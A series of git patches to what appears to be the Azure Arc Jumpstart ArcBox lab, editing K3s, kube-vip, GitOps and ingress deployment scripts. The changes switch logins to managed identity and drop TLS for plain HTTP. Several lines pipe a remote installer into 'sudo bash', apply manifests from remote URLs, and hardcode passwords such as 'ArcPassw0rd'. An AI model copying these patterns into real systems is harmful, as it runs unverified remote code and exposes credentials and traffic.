'8e3af657-a8ff-443c-a75c-2fe8c4bcb635') - } + dependsOn: [ + vmRoleAssignment_Owner + ] } From 8d81c2b9ad28e903a3628b4d1b266082f5731ecc Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 16:59:58 -0400 Subject: [PATCH 136/506] add kubeconfig --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 3562707cac..a82e55e9d5 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -230,7 +230,7 @@ Write-Host "`n" # "Create OSM Kubernetes extension instance" Write-Header "Creating OSM K8s Extension Instance" -$Env:KUBECONFIG=$cluster[0].kubeConfig +$Env:KUBECONFIG=$clusters[0].kubeConfig kubectx az k8s-extension create ` --name $osmMeshName ` From 866e104854f5c88d7ab76d118053e1758cb16c7e Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 18:48:44 -0400 Subject: [PATCH 137/506] update https --- azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 index 59edcc6b9b..6354717a4c 100644 --- a/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 +++ b/azure_jumpstart_arcbox/artifacts/BookStoreLaunch.ps1 @@ -1,2 +1,2 @@ -Start-Process -FilePath msedge -ArgumentList '--new-window https://arcbox.devops.com/bookbuyer https://arcbox.devops.com/bookstore https://arcbox.devops.com/bookstore-v2' +Start-Process -FilePath msedge -ArgumentList '--new-window http://arcbox.devops.com/bookbuyer http://arcbox.devops.com/bookstore http://arcbox.devops.com/bookstore-v2' [Environment]::Exit(1) From e3e4d9131a83d1960d2fa0ea6d575114cc34e995 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 19:07:55 -0400 Subject: [PATCH 138/506] remove kube vip rbac url --- .../artifacts/DevOpsLogonScript.ps1 | 52 +++++++++++++++++-- 1 file changed, 49 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index a82e55e9d5..86db5e3ecd 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -68,7 +68,6 @@ $sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceTyp $sourceFile = $sourceFile + "?" + $sas azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-k3s" $Env:KUBECONFIG="C:\users\$Env:USERNAME\.kube\config" -kubectx # Downloading ArcBox-K3s log file Write-Header "Downloading ArcBox-K3s Install Logs" @@ -108,11 +107,58 @@ foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig kubectx -kubectl apply -f https://kube-vip.io/manifests/rbac.yaml +# kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv +# Apply kube-vip RBAC manifests https://kube-vip.io/manifests/rbac.yaml +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ +$kubeVipRBAC | kubectl apply -f - + +# Apply kube-vip DaemonSet $kubeVipDaemonset = @" apiVersion: apps/v1 kind: DaemonSet @@ -203,12 +249,12 @@ status: numberMisscheduled: 0 numberReady: 0 "@ - $kubeVipDaemonset | kubectl apply -f - # Kube vip cloud controller kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml +# Set kube-vip range-global for kubernetes services $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``false``].privateIPAddress" -otsv $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} $lowestServiceIp = $sortedIps[0] From 0866319aac17f396cd83016ddd1ac1083d558f4b Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 6 Jun 2024 22:34:23 -0400 Subject: [PATCH 139/506] remove spn details --- .../artifacts/installK3s.sh | 58 +++++++++++-------- .../bicep/kubernetes/ubuntuRancher.bicep | 2 +- .../bicep/kubernetes/ubuntuRancherNodes.bicep | 2 +- 3 files changed, 36 insertions(+), 26 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index c41d24fd68..6aa4a68f3e 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -11,31 +11,31 @@ sudo echo "staginguser:ArcPassw0rd" | sudo chpasswd # Injecting environment variables echo '#!/bin/bash' >> vars.sh echo $adminUsername:$1 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh -echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh -echo $subscriptionId:$5 | awk '{print substr($1,2); }' >> vars.sh -echo $vmName:$6 | awk '{print substr($1,2); }' >> vars.sh -echo $location:$7 | awk '{print substr($1,2); }' >> vars.sh -echo $stagingStorageAccountName:$8 | awk '{print substr($1,2); }' >> vars.sh -echo $logAnalyticsWorkspace:$9 | awk '{print substr($1,2); }' >> vars.sh -echo $templateBaseUrl:${10} | awk '{print substr($1,2); }' >> vars.sh -echo $storageContainerName:${11} | awk '{print substr($1,2); }' >> vars.sh -echo $k3sControlPlane:${12} | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_ID:$2 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_CLIENT_SECRET:$3 | awk '{print substr($1,2); }' >> vars.sh +# echo $SPN_TENANT_ID:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $subscriptionId:$2 | awk '{print substr($1,2); }' >> vars.sh +echo $vmName:$3 | awk '{print substr($1,2); }' >> vars.sh +echo $location:$4 | awk '{print substr($1,2); }' >> vars.sh +echo $stagingStorageAccountName:$5 | awk '{print substr($1,2); }' >> vars.sh +echo $logAnalyticsWorkspace:$6 | awk '{print substr($1,2); }' >> vars.sh +echo $templateBaseUrl:$7 | awk '{print substr($1,2); }' >> vars.sh +echo $storageContainerName:$8 | awk '{print substr($1,2); }' >> vars.sh +echo $k3sControlPlane:$9 | awk '{print substr($1,2); }' >> vars.sh sed -i '2s/^/export adminUsername=/' vars.sh -sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh -sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh -sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh -sed -i '6s/^/export subscriptionId=/' vars.sh -sed -i '7s/^/export vmName=/' vars.sh -sed -i '8s/^/export location=/' vars.sh -sed -i '9s/^/export stagingStorageAccountName=/' vars.sh -sed -i '10s/^/export logAnalyticsWorkspace=/' vars.sh -sed -i '11s/^/export templateBaseUrl=/' vars.sh -sed -i '12s/^/export storageContainerName=/' vars.sh -sed -i '13s/^/export k3sControlPlane=/' vars.sh +# sed -i '3s/^/export SPN_CLIENT_ID=/' vars.sh +# sed -i '4s/^/export SPN_CLIENT_SECRET=/' vars.sh +# sed -i '5s/^/export SPN_TENANT_ID=/' vars.sh +sed -i '3s/^/export subscriptionId=/' vars.sh +sed -i '4s/^/export vmName=/' vars.sh +sed -i '5s/^/export location=/' vars.sh +sed -i '6s/^/export stagingStorageAccountName=/' vars.sh +sed -i '7s/^/export logAnalyticsWorkspace=/' vars.sh +sed -i '8s/^/export templateBaseUrl=/' vars.sh +sed -i '9s/^/export storageContainerName=/' vars.sh +sed -i '10s/^/export k3sControlPlane=/' vars.sh # Set k3 deployment variables export K3S_VERSION="1.28.2+k3s1" # Do not change! @@ -56,8 +56,18 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash echo "" echo "Log in to Azure" echo "" -# sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -sudo -u $adminUsername az login --identity +for i in {1..5}; do + sudo -u $adminUsername az login --identity + if [[ $? -eq 0 ]]; then + break + fi + sleep 15 + if [[ $i -eq 5 ]]; then + echo "Error: Failed to login to Azure after 5 retries" + exit 1 + fi +done + sudo -u $adminUsername az account set --subscription $subscriptionId az -v diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index b06ca94334..7943d98335 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -177,7 +177,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index 50e84b71c9..a351cedcc3 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -152,7 +152,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] From 7eb8d7c734d2943cc980e4921dc8fee5bf5c7cf5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Fri, 7 Jun 2024 00:56:44 -0400 Subject: [PATCH 140/506] update k3s scripts --- .../artifacts/devops_ingress/bookbuyer.yaml | 4 +- .../artifacts/devops_ingress/bookstore.yaml | 4 +- .../artifacts/devops_ingress/hello-arc.yaml | 4 +- .../artifacts/gitops_scripts/K3sGitOps.ps1 | 194 +++++++++--------- .../gitops_scripts/ResetBookstore.ps1 | 24 +-- 5 files changed, 107 insertions(+), 123 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml index 1b611819cc..feb77ea40a 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookbuyer.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml index f02c21a829..7cf3770a2e 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/bookstore.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml index b35c1315a3..1dc452b013 100644 --- a/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml +++ b/azure_jumpstart_arcbox/artifacts/devops_ingress/hello-arc.yaml @@ -1,11 +1,11 @@ apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: + ingressClassName: nginx rules: - host: {JS_HOST} http: diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 693e94e4a9..d001b41df5 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -9,7 +9,7 @@ $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $k3sNamespace = "hello-arc" $ingressNamespace = "ingress-nginx" -$certname = "k3s-ingress-cert" +# $certname = "k3s-ingress-cert" $certdns = "arcbox.k3sdevops.com" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" @@ -57,113 +57,109 @@ az k8s-configuration flux create ` --branch main --sync-interval 3s ` --kustomization name=helloarc path=./hello-arc/yaml -################################################ -# - Install Key Vault Extension / Create Ingress -################################################ - -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword - -Write-Host "Importing the TLS certificate to Key Vault" -az keyvault certificate import ` - --vault-name $Env:keyVaultName ` - --password "arcbox" ` - --name $certname ` - --file "$Env:TempDir\$certname.pfx" +# ################################################ +# # - Install Key Vault Extension / Create Ingress +# ################################################ + +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String "arcbox" -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$certname.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$certname.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword + +# Write-Host "Importing the TLS certificate to Key Vault" +# az keyvault certificate import ` +# --vault-name $Env:keyVaultName ` +# --password "arcbox" ` +# --name $certname ` +# --file "$Env:TempDir\$certname.pfx" -Write-Host "Installing Azure Key Vault Kubernetes extension instance" -az k8s-extension create ` - --name 'akvsecretsprovider' ` - --extension-type Microsoft.AzureKeyVaultSecretsProvider ` - --scope cluster ` - --cluster-name $Env:k3sArcClusterName ` - --resource-group $Env:resourceGroup ` - --cluster-type connectedClusters ` - --release-namespace kube-system ` - --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' - -# Create the Kubernetes secret with the service principal credentials -kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret -kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true - -# Deploy SecretProviderClass -$secretProvider = @" -apiVersion: secrets-store.csi.x-k8s.io/v1 -kind: SecretProviderClass -metadata: - name: azure-kv-sync-tls -spec: - provider: azure - secretObjects: # secretObjects defines the desired state of synced K8s secret objects - - secretName: ingress-tls-csi - type: kubernetes.io/tls - data: - - objectName: "$certname" - key: tls.key - - objectName: "$certname" - key: tls.crt - parameters: - usePodIdentity: "false" - keyvaultName: $Env:keyVaultName - objects: | - array: - - | - objectName: "$certname" - objectType: secret - tenantId: "$Env:spnTenantId" -"@ - -Write-Host "Creating Secret Provider Class" -$secretProvider | kubectl apply -n $k3sNamespace -f - - -# Create the pod with volume referencing the secrets-store.csi.k8s.io driver -$appConsumer = @" -apiVersion: v1 -kind: Pod -metadata: - name: busybox-secrets-sync -spec: - containers: - - name: busybox - image: k8s.gcr.io/e2e-test-images/busybox:1.29 - command: - - "/bin/sleep" - - "10000" - volumeMounts: - - name: secrets-store-inline - mountPath: "/mnt/secrets-store" - readOnly: true - volumes: - - name: secrets-store-inline - csi: - driver: secrets-store.csi.k8s.io - readOnly: true - volumeAttributes: - secretProviderClass: "azure-kv-sync-tls" - nodePublishSecretRef: - name: secrets-store-creds -"@ - -Write-Host "Deploying App referencing the secret" -$appConsumer | kubectl apply -n $k3sNamespace -f - +# Write-Host "Installing Azure Key Vault Kubernetes extension instance" +# az k8s-extension create ` +# --name 'akvsecretsprovider' ` +# --extension-type Microsoft.AzureKeyVaultSecretsProvider ` +# --scope cluster ` +# --cluster-name $Env:k3sArcClusterName ` +# --resource-group $Env:resourceGroup ` +# --cluster-type connectedClusters ` +# --release-namespace kube-system ` +# --configuration-settings 'secrets-store-csi-driver.enableSecretRotation=true' 'secrets-store-csi-driver.syncSecret.enabled=true' + +# # Create the Kubernetes secret with the service principal credentials +# kubectl create secret generic secrets-store-creds --namespace $k3sNamespace --from-literal clientid=$Env:spnClientID --from-literal clientsecret=$Env:spnClientSecret +# kubectl --namespace $k3sNamespace label secret secrets-store-creds secrets-store.csi.k8s.io/used=true + +# # Deploy SecretProviderClass +# $secretProvider = @" +# apiVersion: secrets-store.csi.x-k8s.io/v1 +# kind: SecretProviderClass +# metadata: +# name: azure-kv-sync-tls +# spec: +# provider: azure +# secretObjects: # secretObjects defines the desired state of synced K8s secret objects +# - secretName: ingress-tls-csi +# type: kubernetes.io/tls +# data: +# - objectName: "$certname" +# key: tls.key +# - objectName: "$certname" +# key: tls.crt +# parameters: +# usePodIdentity: "false" +# keyvaultName: $Env:keyVaultName +# objects: | +# array: +# - | +# objectName: "$certname" +# objectType: secret +# tenantId: "$Env:spnTenantId" +# "@ + +# Write-Host "Creating Secret Provider Class" +# $secretProvider | kubectl apply -n $k3sNamespace -f - + +# # Create the pod with volume referencing the secrets-store.csi.k8s.io driver +# $appConsumer = @" +# apiVersion: v1 +# kind: Pod +# metadata: +# name: busybox-secrets-sync +# spec: +# containers: +# - name: busybox +# image: k8s.gcr.io/e2e-test-images/busybox:1.29 +# command: +# - "/bin/sleep" +# - "10000" +# volumeMounts: +# - name: secrets-store-inline +# mountPath: "/mnt/secrets-store" +# readOnly: true +# volumes: +# - name: secrets-store-inline +# csi: +# driver: secrets-store.csi.k8s.io +# readOnly: true +# volumeAttributes: +# secretProviderClass: "azure-kv-sync-tls" +# nodePublishSecretRef: +# name: secrets-store-creds +# "@ + +# Write-Host "Deploying App referencing the secret" +# $appConsumer | kubectl apply -n $k3sNamespace -f - # Deploy an Ingress Resource referencing the Secret created by the CSI driver $ingressController = @" apiVersion: networking.k8s.io/v1 kind: Ingress metadata: - name: ingress-tls + name: ingress annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: / spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -188,7 +184,7 @@ Add-Content -Path $Env:windir\System32\drivers\etc\hosts -Value "`n`t$ip`t$certd $shortcutLocation = "$Env:Public\Desktop\K3s Hello-Arc.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$certdns" $shortcut.IconLocation="$Env:ArcBoxIconDir\arc.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index 68facfccaf..30015437ab 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -19,13 +19,9 @@ kind: Ingress metadata: name: ingress-reset-bookbuyer annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -49,13 +45,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -78,13 +70,9 @@ kind: Ingress metadata: name: ingress-reset-bookstore-v2 annotations: - kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /reset spec: - tls: - - hosts: - - "$certdns" - secretName: ingress-tls-csi + ingressClassName: nginx rules: - host: "$certdns" http: @@ -104,6 +92,6 @@ $ingressBookstorev2 | kubectl apply -n bookstore -f - # - Invoke Reset API #################### -Invoke-WebRequest -Uri "https://$certdns/bookbuyer/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore/reset" -UseBasicParsing -Invoke-WebRequest -Uri "https://$certdns/bookstore-v2/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookbuyer/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore/reset" -UseBasicParsing +Invoke-WebRequest -Uri "http://$certdns/bookstore-v2/reset" -UseBasicParsing From 0a0b5bbc69a409469522b12c5569d7ed9d99c120 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Mon, 10 Jun 2024 13:23:42 -0400 Subject: [PATCH 141/506] k3s reset script changes --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 1 - .../artifacts/gitops_scripts/K3sGitOps.ps1 | 7 ++++--- .../artifacts/gitops_scripts/K3sRBAC.ps1 | 7 ++++--- .../artifacts/gitops_scripts/ResetBookstore.ps1 | 5 +++-- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 86db5e3ecd..8c85b6dafa 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -107,7 +107,6 @@ foreach ($cluster in $clusters) { Write-Header "Configuring kube-vip on K3s cluster" $Env:KUBECONFIG=$cluster.kubeConfig kubectx -# kubectl apply -f https://kube-vip.io/manifests/rbac.yaml $nicName = $cluster.clusterName + "-NIC" $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $nicName --query "[?primary == ``true``].privateIPAddress" -otsv diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index d001b41df5..5824acc47c 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -16,8 +16,8 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sGitOps.log -Write-Host "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -25,7 +25,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 6064c1fc36..ecdb1319df 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -7,8 +7,8 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sRBAC.log -# echo "Login to Az CLI using the service principal" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +Write-Host "Login to Az CLI using the managed identity" +az login --identity # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt @@ -16,7 +16,8 @@ Write-Host "`n" az -v # Switch kubectl context to arcbox-k3s -kubectx arcbox-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config-k3s" +kubectx ############################# # - Apply GitOps Configs diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 index 30015437ab..dc246f9f66 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 @@ -4,8 +4,9 @@ $certdns = "arcbox.devops.com" Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log -# Switch kubectl context to arcbox-k3s -kubectx arcbox-datasvc-k3s +# Switch kubectl context to arcbox-datasvc-k3s +$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" +kubectx ############################ # - Deploy Ingress for Reset From f368c43549c3315964d4336f3552dbd3cfea4ceb Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 12 Jun 2024 11:18:13 -0400 Subject: [PATCH 142/506] Fix resource name --- azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 | 2 +- azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 index 5824acc47c..3da9a15048 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sGitOps.ps1 @@ -3,7 +3,7 @@ $Env:ToolsDir = "C:\Tools" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "ArcBox-K3s" | Where-Object { $_ -ne "" } 